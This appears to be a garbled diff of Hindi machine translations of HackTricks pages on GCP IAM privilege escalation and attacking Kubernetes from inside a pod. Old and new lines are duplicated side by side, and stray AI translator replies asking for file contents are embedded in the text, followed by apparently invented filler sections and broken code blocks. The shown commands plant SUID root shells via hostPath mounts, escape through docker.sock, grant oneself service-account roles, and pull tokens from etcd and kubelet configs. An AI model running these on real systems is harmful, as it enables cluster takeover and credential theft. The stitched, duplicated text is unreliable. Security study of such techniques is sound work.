उल्लिखित permissions वाल attacker सक्षम होंगे **add IAM policies to service accounts** करने के लिए। आप इस abuse करके अपने आप को वे permissions दे सकते हैं जिनकी आपको service account को impersonate करने के लिए आवश्यकतोगी। निम्न उदाहरण में हम स्वयं को `roles/iam.serviceAccountTokenCreator` role उस दिलचस्प SA पर दे रहे हैं:
उल्लिखित permissions वाल attacker service accounts में **IAM policies add** कर सकेगा। आप इसका abuse करके service account को impersonate करने के लिए जरूरी permissions **अपने लिए grant** कर सकतैं। निम्न example में हम interesting SA पर अपने लिए `roles/iam.serviceAccountTokenCreator` role grant कर रहे हैं:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -100,47 +100,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
You can find a script to automate the [**vuln environment के निर्माण, exploit और क्लीनिंग को स्वचालित करने वाली स्क्रिप्ट यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
आपको एक script मिल सकती है जो [**creation, exploit and cleaning of a vuln environment को automate करने**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)** के लिए here है**.**
### `iam.serviceAccounts.actAs`
The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.
**iam.serviceAccounts.actAs permission** ठीक **AWS के iam:PassRole permission** जैसा है। यह tasks execute करने के लिए essential है, जैसे Compute Engine instance initiate करना, क्योंकि यह एक Service Account के रूप में "actAs" करने की ability देता है, जिससे secure permission management सुनिश्चित होता है। इसके बिना, users को अनुचित access मिल सकता है। इसके अलावा, **iam.serviceAccounts.actAs** का exploitation कई तरीकों से किया जाता है, और हर method के लिए permissions का एक set चाहिए होता है, जबकि कुछ अन्य methods को सिर्फ एक ही चाहिए।
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Service Account क impersonate करना नए और बेहतर privileges प्राप्त करने के लिए बहुत उपयोगी हो सकता है। किसी अन्य Service Account कimpersonate करने के तीन तरीके हैं:
Service account क impersonate करना **new और better privileges** पाने के लिए बहुत useful हो सकता है। एक और Service Account को [impersonate करने](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) के तीन तरीके हैं:
- Authentication **using RSA private keys** (ऊपर कवर किया गया)
- Authorization **using Cloud IAM policies** (यहाँ कवर किया गया)
- **Deploying jobs on GCP services** (ज़्यादातर user account के compromise पर लागू)
- RSA private keys का उपयोग करके **Authentication** (ऊपर covered)
- Cloud IAM policies का उपयोग करके **Authorization** (यहाँ covered)
- GCP services पर jobs **deploy करना** (user account compromise के लिए अधिक applicable)
### `iam.serviceAccounts.getOpenIdToken`
उल्लेखित permissions वाले एक attacker OpenID JWT जनरेट कर पाएगा। इनका उपयोग identity को assert करने के लिए होता है और ये जरूरी नहीं कि किसी resource के खिलाफ कोई implicit authorization दें
उल्लेखित permissions वाल attacker एक OpenID JWT generate कर सकेगा। इनका उपयोग identity assert करने के लिए किया जाता है और ये necessarily किसी resource के खिलाफ कोई implicit authorization नहीं रखते
इस [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) के अनुसार, audience बताना आवश्यक है (वह service जहाँ आप token का उपयोग करके authenticate करना चाहते हैं) और आपको google द्वारा sign किया गया एक JWT मिलेगा जो Service Account और उस JWT क audience को दर्शाता है
इस [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) के अनुसार, audience (service जहाँ आप token का उपयोग authenticate करने के लिए करना चाहते हैं) बताना आवश्यक है और आपको google द्वारा signed एक JWT मिलेगा, जो service account और JWT क audience को indicate करेगा
यदि आपके पास access है तो आप OpenIDToken जनरेट कर सकते हैं:
आप एक OpenIDToken generate कर सकते हैं (यदि आपके पास access है) with:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
फिर आप बस इसका उपयोग सेवा तक पहुँचने के लिए कर सकते हैं:
फिर आप इसका उपयोग service को access करने के लिए कर सकते हैं:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
इस तरह के टोकन के माध्यम से प्रमाणीकरण का समर्थन करने वाली कुछ सेवाएँ हैं:
कुछ services जो इस तरह के tokens के जरिए authentication support करती हैं, वे हैं:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (यदि Google OIDC का उपयोग कर रहे हों)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (अगर Google OIDC इस्तेमाल कर रहे हों)
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
आप एक example यहाँ पा सकते हैं कि service account की behalf पर OpenID token कैसे create करें [**यहाँ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)
## संदर्भ
## References
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -1,39 +1,39 @@
# Pod के अंदर से Kubernetes पर हमला
# Kubernetes से अंदर से Pod पर हमला
{{#include ../../banners/hacktricks-training.md}}
## **Pod Breakout**
**यदि आप काफी भाग्यशाली हैं तो आप इससे node तक भाग सकते हैं:**
**अगर आप काफी lucky हैं, तो आप इससे node तक escape कर सकते हैं:**
![](https://sickrov.github.io/media/Screenshot-161.jpg)
![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg)
### pod से बाहर निकलना
### Pod से escaping
pods से बाहर निकलने की कोशिश करने के लिए आपको पहले **escalate privileges** करना पड़ सकत है, इसे करने की कुछ तकनीकें:
Pods से escape करने की कोशिश करने के लिए आपको पहले **privileges escalate** करने की जरूरत पड़ सकत है, इसे करने की कुछ techniques:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
आप इस **docker breakouts to try to escape** को देख सकते हैं जो एक compromised pod से बाहर निकलने के लिए है:
आप इस **docker breakouts to try to escape** को check कर सकते हैं, ताकि उस pod से escape किया जा सके जिसे आपने compromise किया है:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
{{#endref}}
### लिखने योग्य hostPath/bind mounts का दुरुपयोग (container -> host root via SUID planting)
### Writable hostPath/bind mounts का abuse करना (container -> host root via SUID planting)
यदि कोई compromised pod/container में ऐसा writable volume मौजूद है जो सीधे host filesystem (Kubernetes hostPath या Docker bind mount) से map होता है, और आप container के अंदर root बन सकते हैं, तो आप स mount का उपयोग करके host पर एक setuid-root binary बना सकते हैं और फिर host से उसे execute करके root हासिल कर सकते हैं।
अगर किसी compromised pod/container में एक writable volume है जो सीधे host filesystem से map होता है (Kubernetes hostPath या Docker bind mount), और आप container के अंदर root बन सकते हैं, तो आप स mount का फायदा उठाकर host पर एक setuid-root binary बना सकते हैं और फिर host से उसे execute करके root पा सकते हैं।
मुख्य शर्तें:
- माउंट किया गया volume container के अंदर से writable होना चाहिए (readOnly: false और filesystem permissions write की अनुमति देते हों)।
- Mount के पीछे वाला host filesystem nosuid option के साथ mounted नहीं होना चाहिए
- आपके पास host पर planted binary को execute करने का कोई तरीका होना चाहिए (उदाहरण के लिए, host पर अलग SSH/RCE, host का कोई user उसे execute कर सकता हो, या कोई और vector जो उस path से binaries चलाता हो)।
मुख्य conditions:
- mounted volume container के अंदर से writable हो (readOnly: false और filesystem permissions write की अनुमति दें)।
- mount को backing करने वाला host filesystem nosuid option के साथ mounted न हो
- आपके पास host पर planted binary को execute करने का कोई तरीका हो (उदाहरण के लिए, host पर separate SSH/RCE, host का कोई user उसे execute कर सक, या कोई दूसरा vector जो उस path से binaries run करे)।
कैसे पहचानें writable hostPath/bind mounts:
- kubectl के साथ, hostPath volumes चेक करें: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- container के अंदर से, mounts लिस्ट करें और host-path mounts ढूंढें और उनकी writability टेस्ट करें:
Writable hostPath/bind mounts identify करने के तरीके:
- kubectl के साथ, hostPath volumes check करें: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- container के अंदर से, mounts list करें और host-path mounts देखें तथा writability test करें:
```bash
# Inside the compromised container
mount | column -t
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
container से एक setuid root binary डालें:
कंटेनर से एक setuid root binary plant करें:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```
root पाने के लिए host पर Execute करें:
होस्ट पर root पाने के लिए execute करें:
```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
@@ -62,19 +62,19 @@ ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Notes and troubleshooting:
- यदि host mount में nosuid है, तो setuid bits को अनदेखा कर दिया जाएगा। होस्ट पर mount विकल्पों की जाँच करें (cat /proc/mounts | grep <mountpoint>) और nosuid देखें।
- यदि आप host execution path हासिल नहीं कर पाते हैं, तो समान writable mounts का दुरुपयोग करके host पर अन्य persistence/priv-esc artifacts लिखे जा सकते हैं अगर mapped directory security-critical हो (उदा., यदि mount /root/.ssh में map करता है तो root SSH key जोड़ना, यदि /etc में map करता है तो cron/systemd unit गिराना, host द्वारा execute किए जाने वाले PATH में root-owned binary को replace करना, आदि)। इसकी feasibility पूरी तरह इस बात पर निर्भर करती है कि कौन सा path mount किया गया है।
- यह technique plain Docker bind mounts के साथ भी काम करत है; Kubernetes में यह आमतौर पर hostPath volume (readOnly: false) या गलत तरीके से scoped subPath होता है।
- यदि host mount पर nosuid है, तो setuid bits ignore किए जाएंगे। Host पर mount options जांचें (cat /proc/mounts | grep <mountpoint>) और nosuid देखें।
- अगर आप host execution path नहीं पा सकते, तो similar writable mounts का abuse करके host पर अन्य persistence/priv-esc artifacts लिखे जा सकते हैं, यदि mapped directory security-critical हो (जैसे, अगर mount /root/.ssh में map होता है तो root SSH key add करें, अगर /etc में map होता है तो cron/systemd unit ालें, PATH में root-owned binary replace करें जिसे host execute करेगा, etc.). Feasibility पूरी तरह इस पर निर्भर करती है कि कौन सा path mounted है।
- यह technique plain Docker bind mounts के साथ भी काम करत है; Kubernetes में यह आमतौर पर hostPath volume (readOnly: false) या incorrectly scoped subPath होता है।
### Abusing Kubernetes Privileges
जैसा कि सेक्शन के बारे में समझाया गया है **kubernetes enumeration**:
जैसा कि **kubernetes enumeration** वाले section में समझाया गया है:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
आमतौर पर pods के अंदर **service account token** के साथ चलाए जाते हैं। इस service account पर कुछ **privileges attached to it** हो सकते हैं जिन्हें आप **abuse** करके अन्य pods में **move** कर सकते हैं या यहाँ तक कि cluster के अंदर configured nodes पर **escape** कर सकते हैं। किस तरह, देखें:
आमतौर पर pods के अंदर एक **service account token** के साथ run होते हैं। इस service account से कुछ **privileges** जुड़े हो सकते हैं जिन्हें आप **abuse** करके **move** कर सकते हैं other pods तक या cluster के अंदर configured nodes तक **escape** भी कर सकते हैं। कैसे, यह देखें:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
अगर pod किसी **cloud environment** के अंदर run हो रहा है, तो आप metadata endpoint से एक token **leak** कर सकते हैं और उसका उपयोग करके privileges escalate कर सकते हैं।
## कमजोर नेटवर्क सेवाओं की खोज
## Search vulnerable network services
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **संभावित कमजोर सेवाओं की खोज करें।**
क्योंकि आप Kubernetes environment के अंदर हैं, अगर आप current pods privileges का abuse करके privileges escalate नहीं कर सकते और container से escape नहीं कर सकते, तो आपको **potential vulnerable services** search करनी चाहिए।
### Services
**इस उद्देश्य के लिए, आप kubernetes environment की सभी services प्राप्त करने की कोशिश कर सकते हैं:**
**इस purpose के लिए, आप kubernetes environment की सभी services प्राप्त करने की कोशिश कर सकते हैं:**
```
kubectl get svc --all-namespaces
```
डिफ़ॉल्ट रूप से, Kubernetes एक फ्लैट नेटवर्किंग स्कीमा उपयोग करता है, जिसका मतलब है **क्लस्टर के भीतर कोई भी pod/service एक-दूसरे से बात कर सकता है**क्लस्टर के भीतर की **namespaces** पर **डिफ़ॉल्ट रूप से कोई नेटवर्क सुरक्षा प्रतिबंध नहीं होत**। namespace के अंदर कोई भी व्यक्ति अन्य namespaces से बातचीत कर सकता है।
By default, Kubernetes एक flat networking schema का उपयोग करता है, जिसका मतलब है कि **cluster के भीतर कोई भी pod/service दूसरे से बात कर सकता है**cluster के भीतर **namespaces** में default रूप से **कोई network security restrictions नहीं होतीं**। namespace में कोई भी अन्य namespaces से बात कर सकता है।
### Scanning
निम्न Bash स्क्रिप्ट (एक [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) से ली गई) kubernetes क्लस्टर के IP रेंज को install और scan करेग:
निम्न Bash script (एक [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) से लिया गया) kubernetes cluster के IP ranges को install और scan करेग:
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
Check out the following page to learn how you could **Kubernetes specific services पर attack** to **अन्य pods/पूरा environment compromise** करें:
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
यदि **compromised pod is running some sensitive service** और अन्य pods को authenticate करना पड़ता है, तो आप अन्य pods द्वारा भेजे गए क्रेडेंशियल्स **sniffing local communications** करके प्राप्त कर सकते हैं।
अगर **compromised pod** कोई sensitive service चला रहा है जहाँ दूसरे pods को authenticate करना होता है, तो आप **local communications sniffing** करके दूसरे pods से भेजे गए credentials हासिल कर सकते हैं।
## Network Spoofing
डिफ़ॉल्ट रूप से तकनीकें जैसे **ARP spoofing** (और इसके कारण **DNS Spoofing**) Kubernetes network में काम करत हैं। फिर, क pod के अंदर, यदि आपके पास **NET_RAW capability** (जो डिफ़ॉल्ट रूप से मौजूद होती है) है, तो आप custom crafted network packets भेज पाएँगे और **MitM attacks via ARP Spoofing to all the pods running in the same node.** कर सकते हैं।\
इसके अलावा, यदि **malicious pod** **same node as the DNS Server** पर चल रहा है, तो आप क्लस्टर के सभी pods के लिए **DNS Spoofing attack to all the pods in cluster** कर सकेंगे।
By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) Kubernetes network में work करत हैं। फिर, किसी pod के अंदर, अगर आपके पास **NET_RAW capability** है (जो default से मौजूद होती है), तो आप custom crafted network packets भेज सकते हैं और उसी node पर चल रहे सभी pods के खिलाफ **ARP Spoofing के जरिए MitM attacks** कर सकते हैं।\
इसके अलावा, अगर **malicious pod** **DNS Server** के साथ **same node** पर चल रहा है, तो आप पूरे cluster के सभी pods के खिलाफ **DNS Spoofing attack** कर पाएंगे।
{{#ref}}
kubernetes-network-attacks.md
@@ -138,25 +138,25 @@ kubernetes-network-attacks.md
## Node DoS
Kubernetes manifests में resources का कोई specification नहीं है और containers के लिए **not applied limit** ranges मौजूद हैं। एक attacker के रूप में, हम **consume all the resources where the pod/deployment running** कर सकते हैं और अन्य resources को भूखा रखकर पूरे environment के लिए DoS पैदा कर सकते हैं।
Kubernetes manifests में resources क specification नहीं है और containers के लिए **not applied limit** ranges नहीं हैं। एक attacker के तौर पर, हम **उस pod/deployment के सारे resources consume** कर सकते हैं जहाँ वह चल रहा है और दूसरे resources को starve करके environment पर DoS cause कर सकते हैं।
This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
यह [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) जैसे tool से किया जा सकता है:
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
आप `stress-ng` चलाते समय और उसके बाद के बीच का अंतर देख सकते हैं
आप `stress-ng` चलाते समय और उसके बाद का फर्क देख सकते हैं
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
यदि आप **escape from the container** करने में सफल रहे हैं, तो node में आपको कुछ दिलचस्प चीजें मिलेंगी:
अगर आप **container से escape** करने में सफल हो गए हैं, तो node में आपको कुछ दिलचस्प चीजें मिलेंगी:
- यह **Container Runtime** process (Docker)
- node में और भी चल रहे **pods/containers** हैं जिन्हें आप इस तरह दुरुपयोग कर सकते हैं (more tokens)
- पूर **filesystem** और सामान्यतः **OS**
- **Kube-Proxy** service सुन रही है
- **Kubelet** service सुन रही है। config files जांचें:
- **Container Runtime** process (Docker)
- node में चल रहे और भी **pods/containers** जिनका आप इस तरह abuse कर सकते हैं (और अधिक tokens)
- पूर **filesystem** और सामान्य रूप से **OS**
- **Kube-Proxy** service listening
- **Kubelet** service listening. config files देखें:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
@@ -164,21 +164,21 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
- अन्य **kubernetes common files**:
- `$HOME/.kube/config` - **उपयोगकर्ता कॉन्फ़िग**
- `/etc/kubernetes/kubelet.conf`- **नियमित कॉन्फ़िग**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap कॉन्फ़िग**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd कॉन्फ़िगरेशन**
- `/etc/kubernetes/pki` - **Kubernetes कुंजी**
- Other **kubernetes common files**:
- `$HOME/.kube/config` - **User Config**
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Find node kubeconfig
यदि आप पहले बताए गए पाथ्स में kubeconfig फ़ाइल नहीं ढूँढ पा रहे हैं, तो **kubelet प्रोसेस के `--kubeconfig` argument की जाँच करें**:
अगर आपको पहले बताए गए paths में से किसी में kubeconfig file नहीं मिलती, तो **kubelet process के `--kubeconfig` argument** को check करें:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### गुप्त जानकारी चुराना
### सीक्रेट्स चुराएं
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -199,78 +199,189 @@ echo ""
fi
done
```
यह स्क्रिप्ट [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) स्वतः ही **अन्य pods के tokens प्राप्त करके और यह जाँच करेगी कि उनके पास वह permission है** आप ढूढ रहे हैं (एक-एक करके देखने क बजाय):
स्क्रिप्ट [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) अपने आप **दूसरे pods के tokens लेगी और जांचेगी कि क्या उनके पास वह permission है**िसे आप ढूढ रहे हैं (1-1 करके देखने क बजाय):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### विशेषाधिकार प्राप्त DaemonSets
### Privileged DaemonSets
A DaemonSet एक **pod** है जो क्लस्टर के **सभी nodes** में **run** होता है। इसलिए, अगर किसी DaemonSet को एक **privileged service account** के साथ configure किया गया है, तो **ALL the nodes** में आपको उस **privileged service account** का **token** मिल जाएगा जिस आप abuse कर सकते हैं।
एक DaemonSet एक **pod** है जिसे **cluster के सभी nodes** पर **run** किया जाएगा। इसलिए, अगर DaemonSet को एक **privileged service account,** के साथ configured किया गया है, तो **ALL the nodes** में आप उस **privileged service account** का **token** पा सकेंगे, जिसका आप abuse कर सकते हैं।
### Cloud में Pivot
Exploit पिछले section जैसा ही है, लेकिन अब आप luck पर depend नहीं करते।
यदि cluster किसी cloud service द्वारा managed है, तो आम तौर पर **Node का metadata endpoint तक access Pod से अलग** होता है। इसलिए node से **metadata endpoint को access** करने की कोशिश करें (या hostNetwork True वाले pod से):
### Pivot to Cloud
अगर cluster को cloud service manage करती है, तो आमतौर पर **Node** की **metadata** endpoint तक **Pod** से अलग access होगा। इसलिए, **node से metadata endpoint तक access** करने की कोशिश करें (या hostNetwork को True रखने वाले pod से):
{{#ref}}
kubernetes-pivoting-to-clouds.md
{{#endref}}
### etcd चोरी करें
### Steal etcd
यदि आप उस [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) को specify कर सकते हैं जो container चलाएगा, तो control-plane node के अंदर shell लेक**etcd database** प्राप्त करें:
अगर आप उस Node का [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) specify कर सकते हैं जो container को run करेगा, तो एक control-plane node के अंदर shell प्राप्त करें औ**etcd database** हासिल करें:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane नोड्स का **role master** होता है और **cloud managed clusters you won't be able to run anything in them**
control-plane nodes का **role master** होता है और **cloud managed clusters में आप उन पर कुछ भी run नहीं कर पाएंगे**.
#### Read secrets from etcd 1
#### `etcd` 1 से secrets पढ़ें
यदि आप pod spec में `nodeName` selector का उपयोग करके अपना pod किसी control-plane नोड पर चला सकते हैं, तो आपको `etcd` database तक आसान पहुंच मिल सकत है, जिसमें क्लस्टर की सारी configuration, सहित सभी secrets होते हैं।
अगर आप अपने pod को pod spec में `nodeName` selector का उपयोग करके किसी control-plane node पर run कर सकते हैं, तो आपको `etcd` database तक आसान access मिल सकत है, जिसमें cluster की सारी configuration होती है, including all secrets.
नीचे एक त्वरित और असहज तरीका दिया गया है जिससे आप उस `etcd` से secrets निकाल सकते हैं जो आपके control-plane नोड पर चल रहायदि आप एक अधिक सुरुचिपूर्ण समाधान चाहते हैं जो `etcd` client utility `etcdctl` के साथ एक pod स्पिन अप करता है और control-plane नोड के credentials का उपयोग करके etcd से जहाँ भी वह चल रहा हो कनेक्ट करता है, तो @mauilion का [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) देखें।
नीचे `etcd` से secrets grab करने का एक quick and dirty तरीका दिया गया है, अगर यह आप जिस control-plane node पर हैं उस पर runningअगर आप एक ज्यादा elegant solution चाहते हैं जो `etcdctl` client utility के साथ एक pod spin up करता है और जहाँ भी `etcd` चल रहा हो, वहाँ connect करने के लिए control-plane node के credentials का उपयोग करता है, तो @mauilion का [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) देखें।
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
**देखें कि `etcd` control-plane node पर चल रहा है या नहीं और database कहाँ है (यह `kubeadm` द्वारा बनाए गए cluster पर है)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
I don't have the contents of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Please paste the markdown text you want translated to Hindi, and I'll translate it per your instructions.
डिफ़ॉल्ट रूप से, यदि आप `kubectl exec` के माध्यम से किसी कंटेनर में `root` के रूप में प्रवेश कर सकते हैं, तो आप कंटेनर के अंदर से host तक पहुँचने के कई तरीके आज़मा सकते हैं। हालांकि, यह हमेशा काम नहीं करता, क्योंकि सीमाएँ हो सकती हैं जैसे `seccomp` profiles, `AppArmor`, `SELinux`, `capabilities`, और container runtime की security settings।
## संभावित हमले के रास्ते
- **Mounted host filesystem**: यदि host filesystem container में mount है, तो आप host के files पढ़/modify कर सकते हैं।
- **Privileged container**: यदि container `privileged` है, तो host resources तक पहुँच आसान हो जाती है।
- **Capabilities abuse**: कुछ Linux `capabilities` host compromise के लिए उपयोग की जा सकती हैं।
- **`hostPID`, `hostNetwork`, `hostIPC`**: ये settings host namespaces तक बढ़ी हुई visibility देती हैं।
- **Container runtime socket**: यदि `docker.sock`, `containerd.sock`, या `cri-o` socket exposed है, तो आप नए containers चला सकते हैं या host पर code execution की दिशा में बढ़ सकते हैं।
## Docker socket
यदि `docker.sock` mount है, तो इसका मतलब अक्सर है कि आप host पर root-equivalent access पा सकते हैं। उदाहरण:
```bash
ls -l /var/run/docker.sock
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --rm --privileged --pid=host --net=host --ipc=host alpine sh
```
## Mounted volumes
यदि किसी pod में hostPath volume mount है, तो आप host filesystem browse कर सकते हैं। उदाहरण:
```bash
mount
ls -la /mnt
cat /mnt/etc/passwd
```
## Escalation विचार
- `/proc` का उपयोग करके host processes inspect करना
- writable `hostPath` volumes की खोज
- mounted service account tokens का उपयोग करके Kubernetes API access करना
- misconfigured `RBAC` से आगे बढ़ना
## Defensive notes
इस तरह की पहुँच को रोकने के लिए:
- `privileged` pods से बचें
- `hostPath` volumes को सीमित करें
- `Pod Security` standards लागू करें
- `RBAC` को least privilege पर रखें
- exposed runtime sockets को हटाएँ
- `seccomp`, `AppArmor`, और `SELinux` सक्षम करें
```bash
data-dir=/var/lib/etcd
```
**etcd डेटाबेस में डेटा देखें:**
**etcd database में data view करें:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**डेटाबेस से tokens निकालें और service account का नाम दिखाए**
**डेटाबेस से tokens निकालें और service account नाम दिखाए**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**वही command, लेकिन कुछ greps ताकि केवल kube-system namespace में default token वापस मिले**
**वही command, लेकिन कुछ greps ताकि केवल kube-system namespace में default token ही return हो**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
I don't have the file contents. कृपया src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md की Markdown सामग्री यहाँ पेस्ट करें — मैं इसे दिए गए निर्देशों के अनुसार HTML/Markdown टैग और कोड न छेड़ते हुए हिंदी में अनुवाद कर दूँगा।
```markdown
# एक Pod के अंदर से Kubernetes पर attack करना
कभी-कभी, यदि आप एक Pod के अंदर हैं, तो आप उस cluster के अंदर मौजूद दूसरे Pods, services या nodes पर भी आसानी से पहुंच सकते हैं।
### ServiceAccount Token का उपयोग करना
यदि Pod में एक mounted ServiceAccount token है, तो आप Kubernetes API के खिलाफ authenticate कर सकते हैं और object permissions enumerate कर सकते हैं:
```bash
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token $TOKEN get pods
kubectl --token $TOKEN get nodes
```
यदि आपके पास पर्याप्त permissions हैं, तो आप secrets, configmaps, deployments और यहां तक कि नए Pods भी create कर सकते हैं।
### Kubernetes API server तक पहुंचना
Pod के अंदर से, आप अक्सर internal Kubernetes API server को access कर सकते हैं:
```bash
kubectl cluster-info
```
या सीधे API endpoint का उपयोग करें:
```bash
